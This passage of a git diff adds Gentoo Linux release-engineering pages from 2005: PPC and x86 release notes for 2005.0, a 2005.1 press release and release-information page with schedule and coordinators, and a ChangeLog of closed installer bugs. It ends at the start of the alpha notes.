+            therm_adt746x</c>.  This will load the appropriate kernel module for
+          the fan-controler.  The initial <c>coldplug</c> does not take care of
+          it.</ti>
+      </tr>
+				
+			</table>
+			
+		</body>
+	</section>
+
+	<section>
+		<title>Critical Package Updates</title>
+		<body>
+			<p>Important package-versions in this release:</p>
+
+			<ul>
+				<li>gcc 3.4.1-r3</li>
+				<li>glibc glibc-2.3.4.20041102</li>
+				<li>gentoo-sources 2.6.10-r8</li>
+				<li>pegasos sources-2.6.10-r4</li>
+				<li>vanilla-sources 2.6.10</li>
+				<li>portage 2.0.51.19</li>
+				<li>X.Org 6.8.2-r1</li>
+				<li>KDE 3.3.2</li>
+				<li>GNOME 2.8.1-r1</li>
+				<li>XFCE4 4.2.0</li>
+			</ul>
+
+      <p>There are three kernels on the LiveCD:</p>
+      <table>
+        <tr>
+          <th>Kernel filename</th>
+          <th>Capabilites</th>
+        </tr>
+        <tr>
+          <ti>G3G4</ti>
+          <ti>Supports uniprocessor and multiprocessor G3 and G4 machines.
+            Symlinks in the yaboot bootloader are <c>G3</c>, <c>G4</c>,
+            <c>G3-SMP</c> and <c>G4-SMP</c></ti>
+        </tr>
+        <tr>
+          <ti>G5</ti>
+          <ti>Supports uniprocessor and multiproccesor G5 machines in 32-bit
+            mode.  Symlinks in the yaboot bootloader are <c>G5</c> and
+            <c>G5-SMP</c></ti>
+        </tr>
+        <tr>
+          <ti>pegasos</ti>
+          <ti>Supports Genesi's Pegasos II machine, currently only
+            uniprocessor.</ti>
+        </tr>
+      </table>
+
+      <p>For information about how to change your profile please read <uri
+          link="http://www.gentoo.org/doc/en/gentoo-upgrading.xml" />.</p>
+			
+      <warn>Cascading profiles will only work with Portage >=2.0.51. Make sure
+        to first upgrade to an appropriate version of Portage and <b>then</b>
+        upgrade your profile!</warn>
+			
+			
+		</body>
+	</section>
+
+	<section>
+		<title>Portage Updates</title>
+		<body>
+      <p>The Portage version included in this release is 2.0.51.19 and the <uri
+          link="http://www.gentoo.org/cgi-bin/viewcvs.cgi/portage/ChangeLog?root=gentoo-src">ChangeLog</uri>
+        can be found via our online CVS repository.</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Userland Updates</title>
+		<body>
+			<ul>
+				<li>Catalyst, the Gentoo Release Metatool, is stable in Portage as version
+				1.1.7. To use Catalyst, simply <c>emerge catalyst</c>. </li>
+			</ul>
+		</body>
+	</section>
+
+	<section>
+		<title>Documentation Updates</title>
+		<body>
+			<p>
+        Much consideration and time has been spent on the <uri
+          link="http://www.gentoo.org/doc/en/handbook/handbook-ppc.xml">Gentoo
+          Installation Handbook</uri> in order to get it more in sync with
+        Gentoo 2005.0. Please note that it is a constant work in progress, and
+        if any bugs are encountered, please refer them to the Gentoo Linux
+        bugtracking system at <uri link="http://bugs.gentoo.org" />.
+			</p>
+		</body>
+	</section>
+	
+</chapter>
+
+<chapter>
+	<title>Upgrading and Installation of Gentoo Linux 2005.0</title>
+	<section>
+		<title>Installing Gentoo Linux 2005.0</title>
+		<body>
+			<p>The entire Gentoo Linux installation process is documented 
+			in the <uri link="http://www.gentoo.org/doc/en/handbook/handbook.xml">Gentoo Handbook</uri>. </p>
+			
+			<p>Each architecture offers three LiveCDs. The first one being a universal
+			bootable LiveCD which can be used to install with or without an Internet connection.
+			The second LiveCD is a non-bootable subarch-optimized Gentoo Reference Platform (GRP)
+			LiveCD which contains precompiled binaries of popular
+			programs such as X.org-x11, KDE, and GNOME. The third LiveCD is a bootable minimal LiveCD
+			that is smaller in size and includes only the basics needed to simply boot a machine.</p>
+			
+			<p>At minimum, the universal or minimal LiveCD is required to boot the machine and install Gentoo.
+			The universal LiveCD requires an Internet connection to install from a stage1
+			installation tarball, but does not require an Internet connection to install
+			from a stage3 installation tarball. The minimal LiveCD requires an Internet connection
+			to install Gentoo Linux.</p>
+
+			<p>There is one kernel available on both bootable cds. It will run on both, uniprocessor and smp systems.
+			The kernel is based on linux-2.6.11 (gentoo-sources-2.6.11-r3). The alternative kernel, <c>gentoo-nofb</c>, 
+			boots without console framebuffer support. Press "F1" at the boot prompt to choose which kernel to boot into.</p>
+
+			<p>The LiveCDs are located on the mirrors as follows: </p>
+			<table>
+				<tr>
+					<th>LiveCD Description</th>
+					<th>Location on Mirrors</th>
+				</tr>
+				<tr>
+					<ti>Universal bootable LiveCD</ti>
+					<ti>/releases/ppc/2005.0/installcd/install-ppc-universal-2005.0.iso</ti>
+				</tr>
+				<tr>
+					<ti>Minimal bootable LiveCD</ti>
+					<ti>/releases/ppc/2005.0/installcd/install-ppc-minimal-2005.0.iso</ti>
+				</tr>
+				<tr>
+					<ti>Non-bootable GRP-/Packages CD</ti>
+					<ti>/releases/ppc/2005.0/packagecd/$subarch/packages-ppc-2005.0.iso</ti>
+				</tr>
+			</table>
+		</body>
+	</section>
+	<section>
+		<title>Upgrading to Gentoo Linux 2005.0</title>
+		<body>
+			<p>
+			If you already have a working installation of Gentoo Linux (Version
+			1.4, 2004.0, 2004.1) there is no need to reinstall. You will automatically get
+			Gentoo 2005.0 if you sync your Portage tree and run
+			<c>emerge --update world</c>. If you still have an installation
+			with a Gentoo 1.2 profile it might make sense -- in some cases -- 
+			that you do a new installation.</p>
+			<p>
+			There is also the possibility to update your system to a 1.4 
+			profile from which you -- as already stated -- can easily get to
+			Gentoo 2005.0. This update includes recompiling of glibc and some
+			essential system packages; it will take a very long time (possibly
+			longer as a complete re-installation) and it might also fail. So if
+			you still have an installation with a Gentoo 1.2 profile, it's
+			your decision whether you update or reinstall.
+			</p>
+		</body>
+	</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2005.0/x86-release-notes.xml b/xml/htdocs/proj/en/releng/release/2005.0/x86-release-notes.xml
new file mode 100644
index 00000000..a37171ba
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2005.0/x86-release-notes.xml
@@ -0,0 +1,235 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2005.0/x86-release-notes.xml,v 1.1 2005/03/14 16:18:34 beejay Exp $ -->
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+
+<guide link="x86-release-notes.xml">
+<title>x86 Release Notes for Gentoo Linux 2005.0</title>
+
+<author title="Author">
+ <mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+
+<author title="x86 Release Coordinator">
+	<mail link="beejay@gentoo.org">Benjamin Judas</mail>
+</author>
+
+<abstract>
+Gentoo 2005.0 Release Notes.
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>14 March 2005</date>
+
+<chapter>
+	<title>The Gentoo Linux Project</title>
+	<section>
+		<title>Overview</title>
+		<body>
+			<p>Gentoo Linux is a community driven project committed to producing
+			high quality opensource software. These release notes for Gentoo Linux 2005.0
+			summarize important package updates, security updates, and many other changes
+			that have happened since Gentoo Linux 2004.3</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Table of Contents</title>
+		<body>
+		<ul>
+			<li>1. Overview</li>
+			<li>2. Important Changes</li>
+			<li>	2.1 Security Updates</li>
+			<li>	2.2 Errata</li>
+			<li>	2.3 Critical Package Updates</li>
+			<li>	2.4 Portage Updates</li>
+			<li>	2.5 Userland Updates</li>
+			<li>	2.6 Documentation Updates</li>
+			<li>3. Upgrading from previous versions of Gentoo Linux</li>
+		</ul>
+
+		</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>Important Changes for 2005.0</title>
+	<section>
+		<title>Security Updates</title>
+		<body>
+			<p>Gentoo Linux 2005.0 contains security updates to address GLSAs 
+			(Gentoo Linux Security Advisories) numbered 200410-27 to 200503-17.
+			</p>
+			
+			<p>Individual GLSAs can be referenced by going to
+			<c>http://www.gentoo.org/security/en/glsa/glsa-$x.xml</c>, and substituting <c>$x</c>
+			with the desired GLSA number. </p>
+			
+			<p>For more information, please consult the the 
+			<uri link="http://security.gentoo.org/">Gentoo Linux Security Project home page</uri>.</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Errata</title>
+		<body>
+			<table>
+			<tr>
+				<th>Errata</th>
+				<th>Workaround</th>
+			</tr>
+			<tr>
+				<ti>Some NForce2 based boards may not display the bootsplash
+				graphics properly</ti>
+				<ti>Boot using the gentoo-nofb kernel</ti>
+			</tr>
+			<tr>
+				<ti>Creating a RAID fails because of missing device nodes</ti>
+				<ti>Manually create the device nodes using <c>MAKEDEV md</c></ti>
+			</tr>
+			<tr>
+				<ti>Bootsplash doesn't appear for modes below 1024x768</ti>
+				<ti>Modes below 1024x768 are not supported by the splashscreen on the livecd. You
+				should be able to install anyway since it's just eyecandy</ti>
+			</tr>
+				
+			</table>
+			
+		</body>
+	</section>
+
+	<section>
+		<title>Critical Package Updates</title>
+		<body>
+			<p>Important package-versions in this release:</p>
+
+			<ul>
+				<li>gcc 3.3.5-r1</li>
+				<li>glibc 2.3.4-20040808-r1</li>
+				<li>gentoo-sources 2.6.11-r3</li>
+				<li>hardened-sources 2.6.10-r2</li>
+				<li>vanilla-sources 2.6.11.2</li>
+				<li>wolk-sources-4.14-r13</li>
+				<li>Portage 2.0.51.19</li>
+				<li>x.org-x11 6.8.2-r1</li>
+				<li>KDE 3.3.2</li>
+				<li>GNOME 2.8.1-r1</li>
+				<li>XFCE4 4.2.0</li>
+			</ul>
+
+			<p>There is one kernel available on the livecd that will run on both, uniprocessor and smp machines.</p>
+
+			<p>For information about how to change your profile please read <uri link="http://www.gentoo.org/doc/en/gentoo-upgrading.xml">
+			http://www.gentoo.org/doc/en/gentoo-upgrading.xml</uri></p>
+			
+			<warn>Cascading profiles will only work with Portage >=2.0.51. Make sure to first upgrade to an appropriate version of Portage
+			and <b>then</b> upgrade your profile!</warn>
+			
+			
+		</body>
+	</section>
+
+	<section>
+		<title>Portage Updates</title>
+		<body>
+			<p>The Portage version included in this release is 2.0.51.19 and
+			the <uri link="http://www.gentoo.org/cgi-bin/viewcvs.cgi/portage/ChangeLog?root=gentoo-src">ChangeLog</uri>
+			can be found via our online CVS repository.</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Userland Updates</title>
+		<body>
+			<ul>
+				<li>Catalyst, the Gentoo Release Metatool, is stable in Portage as version
+				1.1.1. To use Catalyst, simply <c>emerge catalyst</c>. </li>
+			</ul>
+		</body>
+	</section>
+
+	<section>
+		<title>Documentation Updates</title>
+		<body>
+			<p>
+			Much consideration and time has been spent on the Gentoo Installation Handbook in 
+			order to get it more in sync with Gentoo 2005.0. Please note that it is a constant 
+			work in progress, and if any bugs are encountered, please refer them to the Gentoo Linux 
+			bugtracking system at http://bugs.gentoo.org.
+			</p>
+		</body>
+	</section>
+	
+</chapter>
+
+<chapter>
+	<title>Upgrading and Installation of Gentoo Linux 2005.0</title>
+	<section>
+		<title>Installing Gentoo Linux 2005.0</title>
+		<body>
+			<p>The entire Gentoo Linux installation process is documented 
+			in the <uri link="http://www.gentoo.org/doc/en/handbook/handbook.xml">Gentoo Handbook</uri>. </p>
+			
+			<p>Each architecture offers three LiveCDs. The first one being a universal
+			bootable LiveCD which can be used to install with or without an Internet connection.
+			The second LiveCD is a non-bootable subarch-optimized Gentoo Reference Platform (GRP)
+			LiveCD which contains precompiled binaries of popular
+			programs such as X.org-x11, KDE, and GNOME. The third LiveCD is a bootable minimal LiveCD
+			that is smaller in size and includes only the basics needed to simply boot a machine.</p>
+			
+			<p>At minimum, the universal or minimal LiveCD is required to boot the machine and install Gentoo.
+			The universal LiveCD requires an Internet connection to install from a stage1
+			installation tarball, but does not require an Internet connection to install
+			from a stage3 installation tarball. The minimal LiveCD requires an Internet connection
+			to install Gentoo Linux.</p>
+
+			<p>There is one kernel available on both bootable cds. It will run on both, uniprocessor and smp systems.
+			The kernel is based on linux-2.6.11 (gentoo-sources-2.6.11-r3). The alternative kernel, <c>gentoo-nofb</c>, 
+			boots without console framebuffer support. Press "F1" at the boot prompt to choose which kernel to boot into.</p>
+
+			<p>The LiveCDs are located on the mirrors as follows: </p>
+			<table>
+				<tr>
+					<th>LiveCD Description</th>
+					<th>Location on Mirrors</th>
+				</tr>
+				<tr>
+					<ti>Universal bootable LiveCD</ti>
+					<ti>/releases/x86/2005.0/livecd/universal/install-x86-universal-2005.0.iso</ti>
+				</tr>
+				<tr>
+					<ti>Minimal bootable LiveCD</ti>
+					<ti>/releases/x86/2005.0/livecd/universal/install-x86-minimal-2005.0.iso</ti>
+				</tr>
+				<tr>
+					<ti>Non-bootable GRP-/Packages CD</ti>
+					<ti>/releases/x86/2005.0/livecd/$subarch/packages-x86-2005.0.iso</ti>
+				</tr>
+			</table>
+		</body>
+	</section>
+	<section>
+		<title>Upgrading to Gentoo Linux 2005.0</title>
+		<body>
+			<p>
+			If you already have a working installation of Gentoo Linux (Version
+			1.4, 2004.0, 2004.1) there is no need to reinstall. You will automatically get
+			Gentoo 2005.0 if you sync your Portage tree and run
+			<c>emerge --update world</c>. If you still have an installation
+			with a Gentoo 1.2 profile it might make sense -- in some cases -- 
+			that you do a new installation.</p>
+			<p>
+			There is also the possibility to update your system to a 1.4 
+			profile from which you -- as already stated -- can easily get to
+			Gentoo 2005.0. This update includes recompiling of glibc and some
+			essential system packages; it will take a very long time (possibly
+			longer as a complete re-installation) and it might also fail. So if
+			you still have an installation with a Gentoo 1.2 profile, it's
+			your decision whether you update or reinstall.
+			</p>
+		</body>
+	</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2005.1/2005.1-press-release.txt b/xml/htdocs/proj/en/releng/release/2005.1/2005.1-press-release.txt
new file mode 100644
index 00000000..85487efa
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2005.1/2005.1-press-release.txt
@@ -0,0 +1,9 @@
+The Gentoo Foundation is pleased to announce the much anticipated release of
+Gentoo Linux 2005.1 (Codename: El Nino). The ISO images for the release can be
+found by visiting the Get Gentoo![1] page. Users may also download files from
+an unofficial BitTorrent tracker[2] with full ISO images and stages. Much
+thanks to Friends of Gentoo e.V.[3] for providing this tracker.
+
+[1] http://www.gentoo.org/main/en/where.xml
+[2] http://tracker.netdomination.org
+[3] http://www.gentoo-ev.org
diff --git a/xml/htdocs/proj/en/releng/release/2005.1/2005.1.xml b/xml/htdocs/proj/en/releng/release/2005.1/2005.1.xml
new file mode 100644
index 00000000..9b3323f1
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2005.1/2005.1.xml
@@ -0,0 +1,204 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2005.1/2005.1.xml,v 1.14 2005/12/01 23:40:15 wolf31o2 Exp $ -->
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+
+<guide link="2005.1.xml">
+<title>2005.1 Release Information</title>
+
+<author title="Author">
+  <mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+
+<abstract>
+	This guide serves as the definitive source for all 2005.1 information.
+</abstract>
+
+<license/>
+
+<version>1.9</version>
+<date>2005-12-01</date>
+
+<chapter>
+	<title>Goals</title>
+	<section>
+		<body>
+			<p>The primary goal of 2005.1 is to improve the quality of the Gentoo release media by including more drivers.  We are also looking to improve the quality of the build over the last release, which is a recurring goal with every release.</p>
+		</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>2005.1 Information</title>
+	<section>
+		<title>Release Resources</title>
+		<body>
+			<p><b>Release Notes:</b></p>
+			<ul>
+				<li><uri link="alpha-release-notes.xml">Alpha
+				Release Notes</uri></li>
+				<li><uri link="amd64-release-notes.xml">AMD64
+				Release Notes</uri></li>
+				<li><uri link="hppa-release-notes.xml">HPPA
+				Release Notes</uri></li>
+				<li><uri link="ppc-release-notes.xml">PPC
+				Release Notes</uri></li>
+				<li><uri link="ppc64-release-notes.xml">PPC64
+				Release Notes</uri></li>
+				<li><uri link="sparc-release-notes.xml">SPARC
+				Release Notes</uri></li>
+				<li><uri link="x86-release-notes.xml">x86
+				Release Notes</uri></li>
+			</ul>
+			<p>There will be md5sums for all release media on the Gentoo mirrors.</p>
+			<p>All release media will be signed by the <c>Gentoo Linux Release Engineering (releng@gentoo.org)</c> PGP key. The public key ID is <c>0x17072058</c>, and the key is available through the <c>subkeys.pgp.net</c> keyserver.</p>
+		</body>
+	</section>
+		
+	<section>
+		<title>Contacts and Schedule</title>
+		<body>
+		<p><b>Contacts:</b></p>
+		<ul>
+			<li>Release Operations: <mail link="plasmaroo@gentoo.org">Tim Yamin</mail></li>
+			<li>Public Relations: <mail link="astinus@gentoo.org">Alex Howells</mail></li>
+			<li>Documentation: <mail link="swift@gentoo.org">Sven Vermeulen</mail></li>
+			<li>Infrastructure: <mail link="jforman@gentoo.org">Jeff Forman</mail></li>
+		</ul>
+		<p><b>2005.1 Schedule</b></p>
+		<table>
+			<tr>
+				<th>Milestone</th>
+				<th>Description</th>
+				<th>Status</th>
+			</tr>
+			<tr>
+				<ti>QA Testing</ti>
+				<ti>Release components have been thoroughly tested in accordance
+				with the QA guidelines. At least one test release has been made
+				by this time by each architecture.</ti>
+				<ti>Complete</ti>
+			</tr>
+			<tr>
+				<ti>Official Snapshot</ti>
+				<ti>The official portage freeze is completed.  From this point
+				forward, only bugfixes are introduced into the release tree that
+				affect the release.</ti>
+				<ti>Complete</ti>
+			</tr>
+			<tr>
+				<ti>Final QA</ti>
+				<ti>After the successful build of the release materials, a final
+				"once over" is given to each piece of the release materials to
+				test functionality and correctness.</ti>
+				<ti>Complete</ti>
+			</tr>
+			<tr>
+				<ti>Release upload</ti>
+				<ti>All release components are uploaded to the arch release 
+				coordinator's webspace on dev.gentoo.org</ti>
+				<ti>Complete</ti>
+			</tr>
+			<tr>
+				<ti>Mirrors are staged</ti>
+				<ti>Releng and Infra will stage the mirrors</ti>
+				<ti>Complete</ti>
+			</tr>
+			<tr>
+				<ti>2005.1 Release</ti>
+				<ti>2005.1 is publically released</ti>
+				<ti>Complete</ti>
+			</tr>
+		</table>
+		</body>
+	</section>
+
+	<section>
+		<title>Architectures Releasing</title>
+		<body>
+		<p>The following supported architectures are tentatively releasing 2005.1: </p>
+		<table>
+			<tr>
+				<th>Architecture</th>
+				<th>Subarch(es)</th>
+				<th>Expected Components for 2005.1</th>
+				<th>Release Coordinator(s)</th>
+			</tr>
+			<tr>
+				<ti>alpha</ti>
+				<ti>alpha</ti>
+				<ti>InstallCDs, stages, GRP, Release Notes</ti>
+				<ti>kloeri, agriffis</ti>
+			</tr>
+			<tr>
+				<ti>amd64</ti>
+				<ti>amd64</ti>
+				<ti>InstallCDs, stages, GRP, Release Notes</ti>
+				<ti>kugelfang</ti>
+			</tr>
+			<tr>
+				<ti>hppa</ti>
+				<ti>hppa1.1, hppa2.0</ti>
+				<ti>InstallCDs, stages, GRP, Release Notes</ti>
+				<ti>dertobi123</ti>
+			</tr>
+			<tr>
+				<ti>ppc</ti>
+				<ti>G4, ppc</ti>
+				<ti>InstallCDs, stages, GRP, Release Notes</ti>
+				<ti>pylon</ti>
+			</tr>
+			<tr>
+				<ti>ppc64</ti>
+				<ti>ppc64, G5, power3, power4, power5</ti>
+				<ti>InstallCDs, stages, GRP, Release Notes</ti>
+				<ti>tgall, ranger, dostrow</ti>
+			</tr>
+			<tr>
+				<ti>sparc</ti>
+				<ti>sparc32, sparc64</ti>
+				<ti>InstallCDs, stages, GRP, Release Notes</ti>
+				<ti>gustavoz, weeve</ti>
+			</tr>
+			<tr>
+				<ti>x86</ti>
+				<ti>x86, athlon-xp, pentium3, pentium4</ti>
+				<ti>InstallCDs, stages, GRP, Release Notes</ti>
+				<ti>beejay</ti>
+			</tr>
+		</table>
+		
+		<p>The following unsupported architectures are tentatively releasing 2005.1: </p>
+		<table>
+			<tr>
+				<th>Architecture</th>
+				<th>Subarch(es)</th>
+				<th>Expected Components for 2005.1</th>
+				<th>Release Coordinator(s)</th>
+			</tr>
+			<tr>
+				<ti>arm</ti>
+				<ti>arm, armv4l</ti>
+				<ti>Stages, netboot images</ti>
+				<ti>vapier</ti>
+			</tr>
+			<tr>
+				<ti>ia64</ti>
+				<ti>ia64</ti>
+				<ti>Stages, InstallCDs</ti>
+				<ti>plasmaroo</ti>
+			</tr>
+			<tr>
+				<ti>s390</ti>
+				<ti>s390</ti>
+				<ti>Stages</ti>
+				<ti>vapier</ti>
+			</tr>
+		</table>
+		<p>If information regarding a specific arch is wrong or has been omitted, please contact the release operations manager.</p>
+		</body>
+	</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2005.1/ChangeLog b/xml/htdocs/proj/en/releng/release/2005.1/ChangeLog
new file mode 100644
index 00000000..aa06866c
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2005.1/ChangeLog
@@ -0,0 +1,130 @@
+# Copyright 1999-2005 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2005.1/ChangeLog,v 1.5 2005/07/29 23:12:14 pylon Exp $
+
+# This file serves as the official ChangeLog for Gentoo Linux 2005.0
+# Each bugfix, enhancement, etc should be documented in this file
+# The syntax used by 'echangelog' should suffice.
+
+# PLEASE BE THOROUGH IN YOUR EXPLANATIONS!
+
+The following bugs hit the release-engineering team regarding bugs in the x86-releases;
+the bugs listed here have been closed between the release of 2005.0 and Jul. 26th 2005
+with the solutions:
+
+
+Cantfix:
+========
+88086 	nor 	P2 	x86 	system fails to boot on scsi only system 
+44617 	maj 	P2 	x86 	Gnome will not start, crashes on startx, running in TWM s... 
+93328 	nor 	P2 	x86 	2005.0 minimal CD hangs on boot in VMWare 
+
+
+Fixed:
+======
+90300 	nor 	P2 	x86 	Unable to create software RAID devices using 2005.0 x86 U... 
+88952	nor	P2	amd64	at the boot: prompt when trying to use the optional kernels.
+88051 	nor 	P2 	x86 	No keyboard input after livecd 2005.0 kernel boot on Acer... 
+87251 	nor 	P2 	x86 	Emerge Coldplug fails during installation 
+87013 	nor 	P2 	x86 	Problem with linux26-headers renaming to linux-headers - ... 
+83370	nor	P2	amd64	2004.3 livecd doesn't work with sata.
+77885 	nor 	P2 	x86 	x86 2005.0 test-stages metabug 
+71491 	nor 	P2 	x86 	GRP kde package fails to install, missing glib dependency 
+67630 	tri 	P2 	x86 	install-x86-universal-2004.2 : Wrong doapm boot option de... 
+66827 	blo 	P2 	x86 	Stage 1 bootstrap fails on ncurses-5.4-r5 
+66042 	cri 	P2 	x86 	scripts/bootstrap.sh want to compile libart_lgpl 
+65543 	enh 	P2 	x86 	2004.3 experimental grp-sets metabug 
+64757 	enh 	P2 	x86 	2004.3 experimental stages metabug 
+62446 	nor 	P2 	x86 	catalyst 1.09 livecd-stages do not support stacked profiles 
+55860 	cri 	P2 	x86 	genkernell all command does'nt work because a bad symlink 
+55464 	enh 	P2 	x86 	make.conf rename in bootstrap.sh can be damaging 
+53586 	blo 	P3 	x86 	Network Card Detection Fails Complete 
+51277 	nor 	P2 	x86 	perl packages on pentium3 CD wrongly place modules in i38... 
+51269 	nor 	P2 	x86 	aspell on 2004.1 pentium3 packages CD built with CHOST i386 
+44722 	maj 	P2 	x86 	Quick test for 2004.1, /dev again missing in stage1 
+43865 	blo 	P2 	x86 	emerge of opennoffice from prebuilt i686 GRP of 2004.0 f... 
+41277 	nor 	P2 	x86 	stage1 install with knoppix fails during bootstrap with '... 
+39939 	blo 	P2 	x86 	When untar stage3-x86-20040128.tar.bz2 get jfs_strtoUCS: ... 
+39307 	maj 	P2 	x86 	stage1-x86-20040123 missing directories 
+26286 	cri 	P2 	x86 	first stage1 install and emerge system failed to emerge p... 
+20599 	maj 	P2 	x86 	IPv6 not supported on live cd or stage1 by ftp, lynx, wge... 
+14792 	min 	P2 	x86 	586 Stage 3 Tarball make.conf has CHOST set to i686 by de... 
+14637 	nor 	P2 	x86 	gentoo-grp-athlon-1.4_rc2.iso missing X headers 
+11341 	nor 	P2 	x86 	ADSL via PPTP on LiveCD (already in portage) 
+10879 	nor 	P2 	x86 	problems with CNET PRO200 PCI Fast Ethernet Adapter, the ... 
+6276 	cri 	P2 	x86 	Sed and Supersed 
+5852 	nor 	P2 	x86 	Coillision between install doc and stage 3 contents 
+5188 	cri 	P2 	x86 	Keyboard error during bootstrap 
+4136 	nor 	P2 	x86 	pppd needs libcrypt.so.1 
+3353 	enh 	P4 	x86 	Include badblocks on install CD 
+98409 	enh 	P2 	x86 	please add device-mapper and aes crypto inside LiveCD kernel 
+97089 	tri 	P2 	x86 	Boot scans for non-existent sata_vitesse module 
+61152	blo	P2	ppc	include hfs+ , assign ctrl-d and ctrl-alt-delete shortcuts
+73412	tri	P2	ppc	Welcome message doesn't point to the correct directory.
+76346	maj	P2	ppc	Booting on a Blue&White G3 PowerMac.
+87665 	nor	P2	ppc	Add CONFIG_BLK_DEV_CMD64X to the LiveCD-Kernel
+71319	nor	P2	ppc	boot crashes iLamp nVIDIA LCD display, unless video=ofonly
+84320	nor	P2	ppc	Sawtooth G4 refuses to boot from CD
+98289	enh	P2	ppc	siimage module not on PPC InstallCD
+
+Invalid:
+========
+91674 	cri 	P2 	x86 	emerge lvm2 on 2005.0 depends on /usr/lib/libgpm.so.1 
+89775 	nor 	P2 	x86 	failed to detect my software raid array with 2005.0 
+89668 	tri 	P2 	x86 	there are no device nodes for raid arrays 
+89143 	maj 	P2 	x86 	install prompts contradict the handbook, neither work 
+88680 	nor 	P2 	x86 	OpenOffice depends on tcsh which is not provided on eithe... 
+87079 	blo 	P2 	x86 	incomplete docs on livecd ? 
+77054 	cri 	P2 	x86 	GRP upgrade to now fubared Ext3fs root partition. Claime... 
+75725 	blo 	P2 	x86 	2004.3 after install and reboot: Root block device unspec... 
+54415 	blo 	P2 	x86 	Stage 1 bootstrapping on athlon-xp had a internal compile... 
+50424 	maj 	P1 	x86 	gcc compile error while bootstrapinng 
+48529 	maj 	P2 	x86 	scripts/bootstrap-2.6 fails when trying to emerge openssl 
+33376 	maj 	P2 	x86 	strange file size in the chroot (stage2) making emerge sy... 
+31642 	blo 	P2 	x86 	error on every line trying to tar stage3 
+26695 	nor 	P2 	x86 	bootstrap failed on 1.4 
+22377 	maj 	P2 	x86 	bootstrap.sh failed whilst trying to emerge gettext-0.11.5 
+22330 	tri 	P2 	x86 	copyright notice says 2002, should be changed to 2003 
+21039 	nor 	P2 	x86 	sed manpage missing after installation 
+4673 	enh 	P2 	x86 	bootstrap.sh overwrites /etc/make.conf 
+97905 	min 	P2 	x86 	The /etc/passwd and /etc/shadow files mismatch. The passw... 
+97163 	nor 	P2 	x86 	2005.0 Handbook Typo; cp Needs -r or -R 
+95500 	nor 	P2 	x86 	2005.0 does not boot when grub is installed on /boot part... 
+93931 	enh 	P2 	x86 	Include ACARD SCSI driver on LiveCD 
+93031 	cri 	P2 	x86 	Crash while running stage 3 
+
+Needinfo:
+=========
+87735 	maj 	P2 	x86 	bootstrapping - stage 1 - "*** [texinfo.info] Error 132" 
+79615 	nor 	P2 	x86 	pidof not found during install from stage1 
+79152 	maj 	P2 	x86 	unable to mount atapi cd drive 
+78627 	nor 	P2 	x86 	umount segmentation fault during reboot or halt 
+75463 	nor 	P2 	x86 	Keyboard input fails after using Keyboard/Video/Mouse swi... 
+75062 	nor 	P1 	x86 	Cant boot the livecd 2004.3 both r0 and r1 
+74074 	min 	P2 	x86 	2004.3 x86 universal - aic79xx module crashes with Adapte... 
+72725 	cri 	P2 	x86 	2004.3 LiveCD freezes on Asus M6N after booting. 
+70742 	enh 	P2 	x86 	Request support for new vmware network drivers in upcomin... 
+63157 	nor 	P2 	x86 	Cannot boot LiveCD any flavor 2004.1 or 2004.2 
+61959 	blo 	P2 	x86 	Install baselayout-1.9.4-r3: kernel BUG at mm/rmap.c:344! 
+57327 	cri 	P2 	x86 	i875P chipset issue on 2.6 (piix/ih6/libata/ata_piix) 
+21498 	blo 	P1 	x86 	aic-7892 on an IBM xserver330 bios 1.06, SCSI bios 2.55 
+93153 	blo 	P2 	x86 	stage1 install fails during bootstrap with "expr.c: 6282:... 
+
+Test-Request:
+=============
+20371 	nor 	P2 	x86 	Problem with install, sd_mod missing 
+21224 	cri 	P2 	x86 	Install on Dell Inspiron 5000e gets random keyboard hang 
+21263 	min 	P2 	x86 	fdisk does not see disk larger than 2Gig 
+85180 	nor 	P2 	x86 	X doesn't run on matrox g200 
+
+Worksforme:
+===========
+76602 	nor 	P2 	x86 	P4 Stage2 tarball is missing files 
+
+Wontfix:
+========
+99302 	nor 	P2 	x86 	"Press F2 ...." too late for keymap
+99055 	nor 	P2 	x86 	no net-wireless/rfswitch package on LiveCD, &#8594; no Wi... 
+93067 	tri 	P2 	x86 	Default USE flags in (at least) default-linux/x86/2005.0 ... 
+91935 	enh 	P2 	x86 	a few (ok, many minor) things i would change in the livecd 
+
diff --git a/xml/htdocs/proj/en/releng/release/2005.1/alpha-release-notes.xml b/xml/htdocs/proj/en/releng/release/2005.1/alpha-release-notes.xml
new file mode 100644
index 00000000..fbdb6d4a
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2005.1/alpha-release-notes.xml
@@ -0,0 +1,227 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2005.1/alpha-release-notes.xml,v 1.1 2005/07/31 14:54:23 kloeri Exp $ -->
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+
+<guide link="alpha-release-notes.xml">
+<title>Alpha Release Notes for Gentoo Linux 2005.1</title>
+
+<author title="Author">
